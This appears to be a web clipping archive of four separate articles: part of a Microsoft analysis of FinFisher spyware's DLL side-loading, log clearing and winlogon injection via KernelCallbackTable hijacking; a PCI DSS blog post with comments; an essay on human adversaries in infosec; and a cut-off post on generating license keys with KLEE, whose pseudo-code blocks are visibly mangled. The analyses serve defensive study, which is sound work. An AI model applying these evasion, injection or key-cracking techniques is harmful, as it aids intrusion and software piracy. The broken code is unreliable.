_sspisrv.dll_ , _ftllib.dll_ , and _userenv.dll_ to host the malicious
FinFisher payload. Finally, a new Windows service is created with the service
path pointing to the candidate .exe located in this new directory together
with the freshly created, benign-looking DLL.

In this way, when the service runs during boot, the original Windows
executable is executed from a different location and it will automatically
load and map the malicious DLL inside its address space, instead of using the
genuine system library. This routine is a form of generic and variable
generator of DLL side-loading combinations.

<img src='img/Temp2_3154.jpg' width='1024' height='725' />

_Figure 10. Windows Defender ATP timeline can pinpoint the service DLL side-
loading trick \(in this example, using fltlib.dll\)._

In the past, we have seen other activity groups like LEAD employ a similar
attacker technique named “proxy-library” to achieve persistence, but not with
this professionalism. The said technique brings the advantage of avoiding
auto-start extensibility points \(ASEP\) scanners and programs that checks for
binaries installed as service \(for the latter, the service chosen by
FinFisher will show up as a clean Windows signed binary\).

The malware cleans the system event logs using _OpenEventLog/ClearEventLog_
APIs, and then terminates the setup procedure with a call to _StartService_ to
run the stage 4 malware.

<img src='img/Temp2_3149.jpg' width='1024' height='528' />

_Figure 11. The DLL side-loaded stage 4 malware mimicking a real export table
to avoid detection_

## Stage 4: The memory loader – Fun injection with GDI function hijacking

Depending on how stage 4 was launched, two different things may happen:

  * •In the low-integrity case \(under UAC\) the installer simply injects the stage 5 malware into the bogus _explorer.exe_ process started earlier and terminates
  * •In the high-integrity case \(with administrative privileges or after UAC bypass\), the code searches for the process hosting the Plug and Play service \(usually _svchost.exe_\) loaded in memory and injects itself into it

For the second scenario, the injection process works like this:

  1. The malware opens the target service process.
  2. It allocates and fills four chunks of memory inside the service process. One chunk contains the entire malware DLL code \(without PE headers\). Another chunk is used to copy a basic _Ntdll_ and _Kernel32_ import address table. Two chunks are filled with an asynchronous procedure call \(APC\) routine code and a stub.
  3. It opens the service thread of the service process and uses the _ZwQueueApcThread_ native API to inject an APC.

The APC routine creates a thread in the context of the svchost.exe process
that will map and execute the stage 5 malware into the _winlogon.exe_ process.

The injection method used for _winlogon.exe_ is also interesting and quite
unusual. We believe that this method is engineered to avoid trivial detection
of process injection using the well-detected _CreateRemoteThread_ or
_ZwQueueApcThread API_.

The malware takes these steps:

  1. Check if the system master boot record \(MBR\) contains an infection marker \(_0xD289C989C089_ 8-bytes value at offset _0x2C_\), and, if so, terminate itself
  2. Check again if the process is attached to a debugger \(using the techniques described previously\)
  3. Read, decrypt, and map the stage 5 malware \(written in the previous stage in _msvcr90.dll_\)
  4. Open _winlogon.exe_ process
  5. Load _user32.dll_ system library and read the _KernelCallbackTable_ pointer from its own process environment block \(PEB\) \(Note: The _KernelCallbackTable_ points to an array of graphic functions used by Win32 kernel subsystem module _win32k.sys_ as call-back into user-mode.\)
  6. Calculate the difference between this pointer and the User32 base address.
  7. Copy the stage 5 DLL into winlogon.exe
  8. Allocate a chunk of memory in winlogon.exe process and copy the same APC routine seen previously
  9. Read and save the original pointer of the _\_\_fnDWORD_ internal User32 routine \(located at offset _+0x10_ of the _KernelCallbackTable_\) and replace this pointer with the address of the APC stub routine

After this function pointer hijacking, when _winlogon.exe_ makes any graphical
call \(GDI\), the malicious code can execute without using
_CreateRemoteThread_ or similar triggers that are easily detectable. After
execution it takes care of restoring the original _KernelCallbackTable_.

## Stage 5: The final loader takes control

The stage 5 malware is needed only to provide one more layer of obfuscation,
through the VM, of the final malware payload and to set up a special
Structured Exception Hander routine, which is inserted as
_Wow64PrepareForException_ in _Ntdll_. This special exception handler is
needed to manage some memory buffers protection and special exceptions that
are used to provide more stealthy execution.

After the VM code has checked again the user environment, it proceeds to
extract and execute the final un-obfuscated payload sample directly into
winlogon.exe \(alternatively, into _explorer.exe_\) process. After the payload
is extracted, decrypted, and mapped in the process memory, the malware calls
the new DLL entry point, and then the _RunDll_ exported function. The latter
implements the entire spyware program.

## Stage 6: The payload is a modular spyware framework for further analysis

Our journey to deobfuscating FinFisher has allowed us to uncover the complex
anti-analysis techniques used by this malware, as well as to use this intel to
protect our customers, which is our top priority. Analysis of the additional
spyware modules is future work.

It is evident that the ultimate goal of this program is to steal information.
The malware architecture is modular, which means that it can execute plugins.
The plugins are stored in its resource section and can be protected by the
same VM. The sample we analyzed in October, for example, contains a plugin
that is able to spy on internet connections, and can even divert some SSL
connections and steal data from encrypted traffic.

Some FinFisher variants incorporate an MBR rootkit, the exact purpose of which
is not clear. Quite possibly, this routine targets older platforms like
Windows 7 and machines not taking advantage of hardware protections like UEFI
and SecureBoot, available on Windows 10. Describing this additional piece of
code in detail is outside the scope of this analysis and may require a new
dedicated blog post.

## Defense against FinFisher

Exposing as much of FinFisher’s riddles as possible during this painstaking
analysis has allowed us to ensure our customers are protected against this
advanced piece of malware.

Windows 10 S devices are naturally protected against FinFisher and other
threats thanks to the strong code integrity policies that don’t allow unknown
unsigned binaries to run \(thus stopping FinFisher’s PE installer\) or loaded
\(blocking FinFisher’s DLL persistence\). On Windows 10, similar code
integrity policies can be configured using Windows Defender Application
Control.

Office 365 Advanced Threat Protection secures mailboxes from email campaigns
that use zero-day exploits to deliver threats like FinFisher. Office 365 ATP
blocks unsafe attachments, malicious links, and linked-to files using time-of-
click protection. Using intel from this research, we have made Office 365 ATP
more resistant to FinFisher’s anti-sandbox checks.

Generic detections, advanced behavioral analytics, and machine learning
technologies in Windows Defender Advanced Threat Protection detect FinFisher’s
malicious behavior throughout the attack kill chain and alert SecOps
personnel. Windows Defender ATP also integrates with the Windows protection
stack so that protections from Windows Defender AV and Windows Defender
Exploit Guard are reported in Windows Defender ATP portal, enabling SecOps
personnel to centrally manage security, and as well as promptly investigate
and respond to hostile activity in the network.

We hope that this writeup of our journey through all the multiple layers of
protection, obfuscation, and anti-analysis techniques of FinFisher will be
useful to other researchers studying this malware. We believe that an
industry-wide collaboration and information-sharing is important in defending
customers against this complex piece of malware. For further reading, we
recommend these other great references:

  * •Devirtualizing FinSpy \[PDF\], Tora \(2012\)
  * •Finfisher rootkit analysis, Artem Baranov \(2017\)
  * •A Walk-Through Tutorial, with Code, on Statically Unpacking the FinSpy VM: Part One, x86 Deobfuscation, Rolf Rolles \(2018\)
  * •FinSpy VM Part 2: VM Analysis and Bytecode Disassembly, Rolf Rolles \(2018\)
  * •ESET’s guide to deobfuscating and devirtualizing FinFisher \[PDF\], Filip Kafka \(2018\)

_**Andrea Allievi** , Office 365 ATP Research team_  
_with**Elia Florio** , Windows Defender ATP Research team_

Sample analyzed:

MD5: a7b990d5f57b244dd17e9a937a41e7f5  
SHA-1: c217d48c4ac1555491348721cc7cfd1143fe0b16  
SHA-256: b035ca2d174e5e4fd2d66fd3c8ce4ae5c1e75cf3290af872d1adb2658852afb8

* * *
#### **Talk to us**

Questions, concerns, or insights on this story? Join discussions at the
Microsoft community and Windows Defender Security Intelligence.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security
Intelligence.

### Tags

APT APT activity groups FinFisher malware research NEODYMIUM Office 365 ATP
Targeted Attacks Windows 10 Windows 10 S Windows Defender ATP zero-day exploit

  * Older Post
  * Newer Post

#### Related Blog Posts

#####  Office 365 Advanced Threat Protection defense for corporate networks
against recent Office exploit attacks  The Office 365 Threat Research team has
seen an uptick in the use of Office...

Read more

#####  Exploit for CVE-2017-8759 detected and neutralized  The September 12,
2017 security updates from Microsoft include the patch for a previously
unknown...

Read more

#####  Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in
Europe  Targeted attacks are typically carried out against individuals to
obtain intellectual property and other valuable...

Read more

  

# PCI Compliance And Financial Institutions

**Created:**| _9/4/2017 9:20:49 AM_  
---|---  
**Updated:**| _9/4/2017 9:20:49 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

26

Aug

17

### PCI Compliance And Financial Institutions

By PCIGuru 5 Comments

Categories: AOC, Attestation Of Compliance, Card Brands, PCI DSS, PCI SSC and
service provider  

I remember being at one of the early PCI Community Meetings and someone from
the PCI SSC promised that the PCI DSS would be periodically updated to reflect
changing business conditions as well as changing threats. Here we are more
than a decade later, and we have version 3.2 of the DSS, but it has been
changed more for changes in threats and very little for business.

Their rationale was that they wanted to minimize the number of compensating
control worksheets \(CCW\) that would be needed for the majority of
organizations. This was in response to v1 of the PCI DSS that required that
data encryption keys change annually. Most large merchants who were
participating organizations \(PO\) complained that it was taking six months to
a year or more to encrypt their transaction databases and files. Requiring
annual key changes would leave those databases and files at risk because they
would always be in a state of perpetual decryption/encryption. As a result,
almost everyone had a CCW for that requirement. So, the Council changed the
requirement to require the changing of encryption keys when they were believed
to be compromised or if one or more persons who know the keys leave the
company or change roles.

The reason I bring this up is that I have been dealing with financial
institutions and their PCI compliance issues for the last few years. If there
is anything more frustrating, it is trying to apply a standard written for
merchants to organizations that are not merchants. It seems like every time I
turn around; a requirement needs a CCW, particularly when concerning
requirement 3.4.

I am sure the Council will point to requirement 3.2 as their token change that
took into account issuers. But that does nothing for the other requirements
that financial institutions struggle. The biggest reason a lot of the PCI
requirements are a struggle is that financial institutions are in the business
of; surprise, surprise; processing, storing and transmitting cardholder data.
That IS their business. 3.2 was a great change for issuers, but a lot of the
rest of the PCI DSS is a huge pain for a financial institution without a lot
of CCWs and the blessings of the requisite card brand\(s\).

Let us look at a few requirements where CCWs are needed when assessing an FI.

**_3.4 Render PAN unreadable anywhere it is stored \(including on portable
digital media, backup media, and in logs\)_** – this can be very problematic
for financial institutions. The reason is that while they can encrypt or
tokenize the data, they also need to decrypt/detokenize it as well. In a lot
of cases, they need to do those operations quickly and very often. It is not
that the FIs do not want to protect the information, it is just that they have
some unique issues in meeting PCI requirements.

The best example of this situation is debit cards. Debit cards must be tied to
a demand deposit account \(DDA\) such as a checking or savings account. That
means somewhere there must be a mapping of the debit card into the core
application system. But to process transactions from the card networks when
customers use their cards, the PAN must be decrypted/de-tokenized so that the
payment can be approved or declined. This decryption/de-tokenization process
needs to meet a timing standard, so adding to the processing time is usually
not an option. As a result, it is not unusual to find that the PAN to DDA
mapping file is not encrypted or tokenized.

**6.4.3 Production data \(live PANs\) are not used for testing or
development** – when part of your business is all about processing, storing
and transmitting sensitive authentication data \(SAD\) and/or cardholder data
\(CHD\), using a few card brand test accounts like a merchant would use for
testing is not going to work. Particularly when you are testing with one of
the card brands to certify your application. In those instances, the FI and
brands are going to demand the use of a large and varied set of PANs to ensure
that systems are functioning properly. The only way to do that is with live
data from production.

**_3.2.1_**** _Do not store the full contents of any track \(from the magnetic
stripe located on the back of a card, equivalent data contained on a chip, or
elsewhere\) after authorization_**

**_3.2.2 Do not store the card verification code or value \(three-digit or
four-digit number printed on the front or back of a payment card used to
verify card-not-present transactions\) after authorization_**

**_3.2.3 Do not store the personal identification number \(PIN\) or the
encrypted PIN block after authorization._** – requirement 3.2 addresses that
issuers that have a business reason to retain sensitive authentication data
\(SAD\) can retain it. However, 3.2.1, 3.2.2 and 3.2.3 say that all of this
data cannot be stored right after authorization. These requirements then go on
to say the QSA must inspect incoming transaction data, log data, databases,
etc. Well, guess what? The incoming transaction data always has SAD in it of
some form because the FI has to authorize the transaction. As I said earlier,
databases can have it because of the speed required to authorize. This is the
FIs’ business, yet the standard does not recognize this fact.

The bottom line is that the PCI DSS does not reflect the realities of
financial institutions. As a result, FIs require numerous CCWs to meet the PCI
DSS requirements. As I stated at the beginning, the Council promised that they
would address such issues to make CCWs the exception not the rule. Well, here
we are, and in the FI world CCWs are commonplace. And as we move forward, it
will be FIs that will be the focus of the standard, not merchants. Merchants
will very soon be out of the payment card data business altogether with the
exception of their POI. So, it only makes sense to adapt the PCI DSS to
securing FIs.

We have separate PCI DSS and AOC documents for service providers. Maybe we
need separate such documents in addition to revised requirements for financial
institutions?

Seems like a good discussion topic to bring up at the upcoming Community
Meeting.

### Share this:

  * Tumblr
  * Print
  * More
  * 

 Like

Be the first to like this.

### _Related_

PCI DSS and PA-DSS 2.0 Are Here – AlmostIn "PA-DSS"

Compensating Control RefresherIn "PCI DSS"

PCI SWOT AnalysisIn "PCI DSS"

#### 5 Responses to “PCI Compliance And Financial Institutions”

Feed for this Entry Trackback Address

  1. <img src='img/0fc343460f627f67188de7347a9101a5.gif' width='32' height='32' /> 1 JJ
August 28, 2017 at 5:57 PM

Another issue is that unlike merchants, probably 50% or more of a retail
bank’s employees need access to card data because, guess what, customers with
card issues want to walk into a branch and have some deal with it.
Segmentation cannot help in an environment where the people being kept away
from card numbers are less than the people who need access.

Please don’t suggest having separate people or departments to handle card
issues unless you also think it’s a good idea for merchants to have two
register lines, one for cash and one for cards. And let’s not even talk about
the fact that it’s 2017 and some mainframes still don’t have encryption at
rest or how when a card brand sends out the list of “hot cards” you have to
enter the full number to find who has it.

0

0

Rate This

Reply

     * <img src='img/f9b11166ca4d62266ac3eef9ae9495a7.png' width='32' height='32' /> 2 PCIGuru
August 28, 2017 at 6:00 PM

Hence the use of virtual desktop \(VDI\) solutions to minimize scope. Easier
to deal with a Category 2x system in a branch than a Category 1.

0

0

Rate This

Reply

  2. <img src='img/9e51c06a485ce20bd1c398c5b246b1ec.jpg' width='32' height='32' /> 3 amest01
August 28, 2017 at 10:52 AM

Not to completely change the subject, but do you think the brands will approve
CCWs from the processors and gateways for allowing early TLS sessions on their
interfaces after 30 June 2018? The Council, in their infinite wisdom, is
shifting merchant-caused vulnerabilities to the processors and gateways
because of this little nugget in DSS v3.2, Appendix A2, “POS POI terminals
\(and the SSL/TLS termination points to which they connect\) that can be
verified as not being susceptible to any known exploits for SSL and early TLS,
may continue using these as a security control after June 30, 2018.”

That’s all fine and dandy for the merchants’ compliance programs, but that
means the processors and gateways must continue to allow early TLS on their
interfaces beyond 30 June 2018 at which time they will fail their ASV scans.
Now we have a situation where the Council is requiring the processors and
gateways to accept all the risk of allowing early TLS connections because of
the merchants’ security shortcomings. Do the processors and gateways get a
free pass on ASV scans?

That is the least of my concerns. The bigger concern is the processor and
gateway server systems will remain vulnerable to early TLS attacks well beyond
30 June 2018. This is not a processor problem to solve because they’ve been
offering TLS 1.2 connections for years.

This is an acquirer problem to solve. Here’s why. They have been giving their
merchants a free pass since 30 June 2016. The process was simple and painless
for the merchants. All they had to do was submit a Risk Mitigation and
Migration Plan to their acquirer. And as long as they can convince their
acquirers their systems are not “susceptible to any known exploits for SSL and
early TLS,” they can use early TLS beyond 30 June 2018.

This is a travesty and a train wreck coming. The only entity that is empowered
to get 100% of their merchants to stop using early TLS is the acquirers. I
would never give the merchants a free pass beyond 30 June 2018 and THE
ACQUIRERS SHOULD BE PENALIZED FOR GIVING THEIR MERCHANTS A FREE PASS SINCE 30
JUNE 2016.

From a QSA perspective, how is the Council going to advise QSAs when assessing
processors and gateways that are allowing early TLS on their interfaces beyond
30 June 2018? Time will tell, but my sense is the revenue loss next July will
be material across the payments industry if the processors and gateways cut
off early TLS.

Train wreck coming\!

0

0

Rate This

Reply

     * <img src='img/f9b11166ca4d62266ac3eef9ae9495a7.png' width='32' height='32' /> 4 PCIGuru
August 28, 2017 at 5:58 PM

All good points that should be discussed in Orlando.

The only good news on this front is that the SSL man-in-the-middle attack is
much, much easier to execute on an internal network than a public network.

0

0

Rate This

Reply

  

  1. This Week’s \[in\]Security – Issue 22 - Control Gap | Control Gap Pingback on Aug 28th, 2017 at 8:24 AM

### Leave a Reply

« Why Voice Over IP Matters

## Announcements

If you are posting a comment, be patient, as the comments will not be
published until they are approved.

If your organization has a PCI opportunity, is in need of assistance with a
PCI issue or if you would like the PCI Guru to speak at your meeting, you can
contact the PCI Guru at pciguru AT gmail DOT com.

I do allow vendors to post potential solutions in response to issues that I
bring up in posts. However, the PCI Guru does not endorse any specific
products, so "Caveat Emptor" - let the buyer beware. Also, if I feel that the
response is too "sales-ee", I reserve the right to edit or not even authorize
the response.

## PCI Guru Search

## PCI Guru Recent Posts

  * PCI Compliance And Financial Institutions
  * Why Voice Over IP Matters
  * NESA – Guidance In Search Of A Problem
  * We Need A Change To 2.3.b
  * What Is The Secret?
  * Answering Some Dream Team Questions
  * Thank You To Everyone
  * Talk To The PCI Guru Live
  * The Five Stages Of PCI
  * MFA – It Is All In The Implementation

## PCI Guru Top Posts

  * One-, Two-, And Three-Factor Authentication 
  * Miscellaneous Questions Page 
  * PCI Scoping Tool 
  * PCI Compliance And Financial Institutions 
  * PCI Compliance Scam? You Tell Me 
  * In Scope versus Out of Scope 
  * iFrame Hack Reported 
  * SAQ A And SAQ A-EP Clarification 
  * The 'MPLS Is A Private Network' Debate 
  * Post Series References 

## Blogroll

  * Anton Chuvakin Blog – "Security Warrior"
  * Chip and PIN Blog
  * Froud On Fraud
  * IT Revolution PCI Scoping Toolkit
  * Krebs On Security
  * Nige The Security Guy
  * Optiv Security Blog
  * PCI DSS News And Information
  * PCI France
  * Postmodern Security
  * PYMNTS.com
  * SANS Cloud Blog
  * Shift4 4titude Blog
  * Storefront Backtalk
  * Ultra Secure Network Architecture

## Professional Organizations

  * Carnegie Mellon University CERT Division
  * ETA's Encyclopedia Of Terminology
  * Information Systems Audit and Control Association \(ISACA\)
  * Information Systems Security Association \(ISSA\)
  * InfraGard
  * NIST Computer Security Resource Center
  * PCI Security Standards Council
  * US Department of Homeland Security CERT

## Calendar

August 2017 M | T | W | T | F | S | S  
---|---|---|---|---|---|---  
« Jul |  |   
| 1| 2| 3| 4| 5| 6  
7| 8| 9| 10| 11| 12| 13  
14| 15| 16| 17| 18| 19| 20  
21| 22| 23| 24| 25| 26| 27  
28| 29| 30| 31 |   
## PCI Guru RSS Feeds

<img src='img/Temp2_5987.gif' width='14' height='14' alt='RSS Feed' /> RSS -
Posts

## PCI Guru Email Subscription

Enter your email address to subscribe to the PCI Guru blog and receive
notifications of new posts by email.

Join 1,865 other followers

  

# Human Adversaries – Why Information Security Is Unlike Engineering «
Thoughts on Security

**Created:**| _1/27/2016 2:03:22 PM_  
---|---  
**Updated:**| _2/1/2016 8:26:05 PM_  
**Author:**| __  
**Tags:**| __  
  

# Human Adversaries – Why Information Security Is Unlike Engineering

A common theme among information security commenters and keynotes is that
infosec can and either will or should evolve to be more like structural
engineering, product safety, or similar successful fields. Facing an unending
onslaught of breaches, we all wish we had the level of assurance and success
fields such as structural engineering, product safety, and public health have
had, as they have all but eliminating the risk of dying in a commercial
aircraft accident or dying from polio. Why don't we follow the same process to
stop getting hacked?

<img src='img/Temp2_4133.png' alt='Do we want our daily lives to operate like
a battlefield constantly surveilling for attackers and fighting them off?
Likely with a lot of secrecy. Or do we want to use safe equipment and follow
good hygiene?' />

A recent keynote slide

While I can empathize with the desire, fundamental differences exist between
fields with human adversaries and those without that are easy to miss if you
are unfamiliar with offensive operations. There are many ways to break down
these differences, which I've summarized in the table below, but a simple way
to think about it is that in the fields without human adversaries \(e.g.
building bridges\) once you have found a solution, \(make sure your cables can
support the expected loads and stresses\) you can standardize that solution
and be basically done. If your bridge doesn't fall down from its own weight,
gravity isn't going to change directions, pulling it down sideways, or send a
commando team to cut the suspension cables until it does fall down. You just
need to publish your solution and ensure that people follow it.

<img src='img/Temp2_4132.png' alt='Cyber UL article' />

Would a Cyber-UL make us secure like UL makes us safe? Unlikely, but it might
help a little.

In contrast, human adversaries means your opposition is adaptable,
intelligent, and goal-driven. These essential differences cause tactical and
strategic differences:

 | **Human adversaries**| **Non-human adversaries**  
---|---|---  
Field| **Military conflict**| **Intelligence**| **Sports**| **Information
Security**| **Structural Engineering**| **Public health**| **Product safety**  
Example| War| HUMINT| Football| SOC operations| Building a bridge| Fighting
polio| Building a safe car  
Adversary is human, intelligent| Yes| Yes| Yes| Yes| No| No| No  
Adversary has specific goals| Yes| Yes| Yes| Yes| No| No| No  
Adversaries try to deceive people| Yes| Yes| Yes| Yes| No| No| No  
Adversaries watch public discussion| Yes| Yes| Yes| Yes| No| No| No  
Adversaries plan based on gathered information| Yes| Yes| Yes| Yes| No| No| No  
Attacks designed to evade expected defenses| Yes| Yes| Yes| Yes| No| No| No  
Standardized operations are useful| Yes| Yes| Yes| Yes| Yes| Yes| Yes  
Unexpected actions are essential to success| Yes| Yes| Yes| Yes| No| No| No  
Restricting information is important| Yes| Yes| Yes| Yes| No| No| No  
We can rely on a simple set of rules to succeed| No| No| No| No| Yes| Yes| Yes  
Actions necessary to succeed change frequently| Yes| Yes| Yes| Yes| No| No| No  
Threats change frequently| Yes| Yes| No| Yes| No| No| No  
We wish we didn’t have intelligent adversaries| Yes| Yes| Yes| Yes| Yes| Yes|
Yes  
We have them anyway| Yes| Yes| Yes| Yes| No| No| No  
These differences basically boil down to three related ideas: unsolvability,
keeping secrets, and intentionally taking unexpected actions.

  * **Unsolvability** means that we cannot reach a final win state, in which failures are impossible or so rare they are unheard of, like we have against polio or in safe bridge-building. This comes not only from the persistence of human adversaries, but also from human vulnerability. Vulnerabilities can come from software errors, which will always be with us, but even if all software bugs and exploits disappeared, 95% of hacking groups would still be 99% as effective. Groups like the Desert Falcons operate just as effectively without exploits as other groups do with them. As long as people can choose to run code that can both read data and communicate over the internet, they will be hacked in a similar way; and these core abilities will always be present, since without them, you lose the benefits of using a computer in the first place. Social engineering attack vectors are often downplayed by technical experts who won't fall for generic pretexts, but well-researched, well-timed, individual attacks are successful against most users. Antivirus cannot solve the problem since it is impossible to generically distinguish between good and bad software; silently exfiltrating all your files over an encrypted connection is exactly what legitimate backup applications do after all. So a successful attack will never be much harder than the average backup app development. 
Finally, even in the impossible case that there were no exploits, and people
could no longer run arbitrary code on computers, if users can type in
passwords to the wrong site or click an OAuth button or recover lost account
access or have any other way of accessing their data and services from another
computer, they will still be hacked just like some of the most well-known
celebrities. We can do much better than we have been doing, but we fool
ourselves if we think we can get to a brush-your-teeth-and-you-are-good state
without paying attention to what adversaries are doing. **We can make safer
equipment, but we must be constantly vigilant since there are no useful
computers that are "safe equipment" against malicious attacks and there never
can be.** Only the Amish have seen the end of cyberwar.

  * **Keeping secrets.** In the engineering safety fields, there is no benefit to keeping any safety measures or procedures secret. While fields with human adversaries, such as military, intelligence, and sports, also have many public and standard procedures, they depend on secret measures as well. If the other team knows your game plan, they will be able to prepare for it and counteract it. This is why "Spygate" was such a controversy in football and why signals are obfuscated, pitch selection is secret, and stealing signs is an issue in baseball. 
In information security, if an incident responder tips their hand about a
detection too soon, an alert adversary will be able to obfuscate or hide any
activity using the detected malware, domain, or other indicators, and the
defenders will be unable to track down nearly as many compromised nodes,
malware modules, or exploits as before. **Operational secrecy is essential at
times since human adversaries will act on the information they can find,
unlike non-human adversaries.**

  * **Doing the unexpected.** In fields without a human adversary, the steps to follow to ensure e.g. a flight is safe, from flight plan to checking the flaps, must be performed in the same manner each time to ensure the same, safe result. In fields with human adversaries, although some actions will be standardized, complete predictability is a recipe for failure. On virtually every football play, the offense must keep the defense on their toes as different running routes and receivers must remain options; if the defense knew exactly where the QB would throw the ball, they would be able to block the receiver and intercept the throw. This applies to defense as well as offense; in order for a top-notch defensive lineman like J.J. Watt to pressure or even sack the QB, he must dodge and spin to the side to go somewhere the offensive line doesn't expect, just like a pitcher in baseball or a defensive steal in basketball or a defensive military strike. 
In information security, those who have conducted offensive operations know
that offensive groups will never send an attack they believe will be stopped
by defensive measures. It does not matter if it is a large-scale email malware
campaign from a garden variety criminal or a highly targeted intrusion by an
intelligence agency, the authors will test their malware against all the
security software that they might encounter, modifying it until it is
undetected by those public products. **Offense cannot win unless it does
something unexpected; and likewise defense will never detect or stop the
intrusion without doing something unexpected as well.** It may be a custom
application or network whitelist, private threat intel sharing if you're lucky
with your adversaries, using non-standard configurations to block common
social engineering vectors, and/or something else, but if your organization is
going to stop common attacks, it needs to do something unexpected.

To be extra clear; the debate is not and has never been about whether some
standardization is useful, or even whether most things should be standardized;
no one doubts that they should. The debate is about whether information
security personnel should ever maintain operational secrecy or plan on taking
unexpected actions.

The bottom line is that yes, it would be nice if information security was like
those engineering and medical fields and did not have to deal with human
adversaries. It would be nice if we could just use safe software, follow a
checklist, and not worry about attacks the same way we do not worry about
whether a bridge will support us. It would be nice if adversaries did not
adapt and specifically prepare attacks that will bypass the most common
defensive measures. It would be nice if attackers were just a disease, pest,
or accident that we could vaccinate, spray, or certify away. But we have
intelligent, adaptive, goal-driven, human adversaries. So let's learn from the
fields that have been dealing with them for centuries.

# Keygenning with KLEE - Diary of a reverse-engineer

**Created:**| _8/25/2015 3:18:41 PM_  
---|---  
**Updated:**| _8/25/2015 3:18:41 PM_  
**Author:**| __  
**Tags:**| __  
  

# Introduction

In the past weeks I enjoyed working on reversing a piece of software \(don’t
ask me the name\), to study how serial numbers are validated. The story the
user has to follow is pretty common: download the trial, pay, get the serial
number, use it in the annoying nag screen to get the fully functional version
of the software.

Since my purpose is to not damage the company developing the software, I will
not mention the name of the software, nor I will publish the final key
generator in binary form, nor its source code. My goal is instead to study a
real case of serial number validation, and to highlight its weaknesses.

In this post we are going to take a look at the steps I followed to reverse
the serial validation process and to make a key generator using KLEE symbolic
virtual machine. We are not going to follow all the details on the reversing
part, since you cannot reproduce them on your own. We will concentrate our
thoughts on the key-generator itself: that is the most interesting part.

## Getting acquainted

The software is an `x86` executable, with no anti-debugging, nor anti-
reversing techniques. When started it presents a nag screen asking for a
registration composed by: customer number, serial number and a mail address.
This is fairly common in software.

## Tools of the trade

First steps in the reversing are devoted to find all the interesting functions
to analyze. To do this I used IDA Pro with Hex-Rays decompiler, and the WinDbg
debugger. For the last part I used KLEE symbolic virtual machine under Linux,
gcc compiler and some bash scripting. The actual key generator was a simple
WPF application.

Let me skip the first part, since it is not very interesting. You can find
many other articles on the web that can guide you through basic reversing
techniques with IDA Pro. I only kept in mind some simple rules, while going
forward:

  * always rename functions that uses interesting data, even if you don’t know precisely what they do. A name like `license_validation_unknown_8` is always better than a default like `sub_46fa39`;
  * similarly, rename data whenever you find it interesting;
  * change data types when you are sure they are wrong: use structs and arrays in case of aggregates;
  * follow cross references of data and functions to expand your collection;
  * validate your beliefs with the debugger if possible. For example, if you think a variable contains the serial, break with the debugger and see if it is the case.

## Big picture

When I collected the most interesting functions, I tried to understand the
high level flow and the simpler functions. Here are the main variables and
types used in the validation process. As a note for the reader: most of them
have been purged of uninteresting details, for the sake of simplicity.

|

[code]

        ERROR
        STANDARD
     license_type  ERROR
    
[/code]  
---|---  
Here we have a global variable providing the type of the license, used to
enable and disable features of the application.

|

[code]

     result_t 
        INVALID
        VALID
        VALID_IF_LAST_VERSION
    
[/code]  
---|---  
This is a convenient `enum` used as a result for the validation. `INVALID` and
`VALID` values are pretty self-explanatory. `VALID_IF_LAST_VERSION` tells that
this registration is valid only if the current software version is the last
available. The reasons for this strange possibility will be clear shortly.

|

[code]

    #define HEADER_SIZE 8192
    struct 
         headerHEADER_SIZE
         1000000
     mail_digest_table
    
[/code]  
---|---  
This is a data structure, containing digests of mail addresses of known
registered users. This is a pretty big file embedded in the executable itself.
During startup, a resource is extracted in a temporary file and its content
copied into this struct. Each element of the `header` vector is an offset
pointing inside the `data` vector.

Here we have a pseudo-C code for the registration check, that uses data types
and variables explained above:

|

[code]

     result_t check_registration serial  customer_num const   
        // validate serial number
        license_type  get_license_typeserial
         license_type  ERROR
            return INVALID
        // validate customer number
         expected_customer  compute_customer_numberserial 
         expected_customer  customer_num
            return INVALID
        // validate w.r.t. known registrations
         index  get_index_in_mail_tableserial
         index  HEADER_SIZE
            return VALID_IF_LAST_VERSION
         mail_digest  compute_mail_digest
             mail_digest_tableindex    mail_digest
                return VALID
        return INVALID
    
[/code]  
---|---  
The validation is divided in three main parts:

  * serial number must be valid by itself;
  * serial number, combined with mail address has to correspond to the actual customer number;
  * there has to be a correspondence between serial number and mail address, stored in a static table in the binary.

The last point is a little bit unusual. Let me restate it in this way:
whenever a customer buys the software, the customer table gets updated with
its data and become available in the _next_ version of the software \(because
it is embedded in the binary and not downloaded trough the internet\). This
explains the `VALID_IF_LAST_VERSION` check: if you buy the software today, the
current version does not contain your data. You are still allowed to get a
“pro” version until a new version is released. In that moment you are forced
to update to that new version, so the software can verify your registration
with the updated table. Here is a pseudo-code of that check:

|

[code]

    switch check_registrationserial customer  
     VALID:
        // the registration is OK! activate functionalities
        activate_pro_functionality
        break
     VALID_IF_LAST_VERSION:
            // check if the current version is the last, by
            // using the internet.
             current_version  get_current_version
             last_version  get_last_version
             current_version  last_version
                // OK for now: a new version is not available
                activate_pro_functionality
                // else, force the user to download the new version
                // before proceed
                ask_download
        break
     INVALID:
        // registration is not valid
        handle_invalid_registration
        break
    
[/code]  
---|---  
The version check is done by making an HTTP request to a specific page that
returns a page having only the last version number of the software. Don’t ask
me why the protection is not completely server side but involves static
tables, version checks and things like that. I don’t know\!

Anyway, this is the big picture of the registration validation functions, and
this is pretty boring. Let’s move on to the interesting part. You may notice
that I provided code for the main procedure, but not for the helper functions
like `get_license_type`, `compute_customer_number`, and so on. This is because
I did not have to reverse them. They contain a lot of arithmetical and logical
operations on registration data, and they are very difficult to understand.
The good news is that we do not have to understand them, we need only to
reverse them\!

## Symbolic execution

Symbolic execution is a way to execute programs using symbolic variables
instead of concrete values. A symbolic variable is used whenever a value can
be controlled by user input \(this can be done by hand or determined by using
taint analysis\), and could be a file, standard input, a network stream, etc.
Symbolic execution translates the program’s semantics into a logical formula.
Each instruction cause that formula to be updated. By solving a formula for
one path, we get concrete values for the variables. If those values are used
in the program, the execution reaches that program point. Dynamic Symbolic
Execution \(DSE\) builds the logical formula at runtime, step-by-step,
following one path at a time. When a branch of the program is found during the
execution, the engine transforms the condition into arithmetic operations. It
then chooses the T \(true\) or F \(false\) branch and updates the formula with
this new constraint \(or its negation\). At the end of a path, the engine can
backtrack and select another path to execute. For example:

|

[code]

       SymVar_1   SymVar_2 // symbolic variables
          <= 
       error
    
[/code]  
---|---  
We want to check if `error` is reachable, by using symbolic variables
`SymVar_1` and `SymVar_2`, assigned to the program’s variables `v1` and `v2`.
In line 2 we have the condition `v1 > 0` and so, the symbolic engine adds a
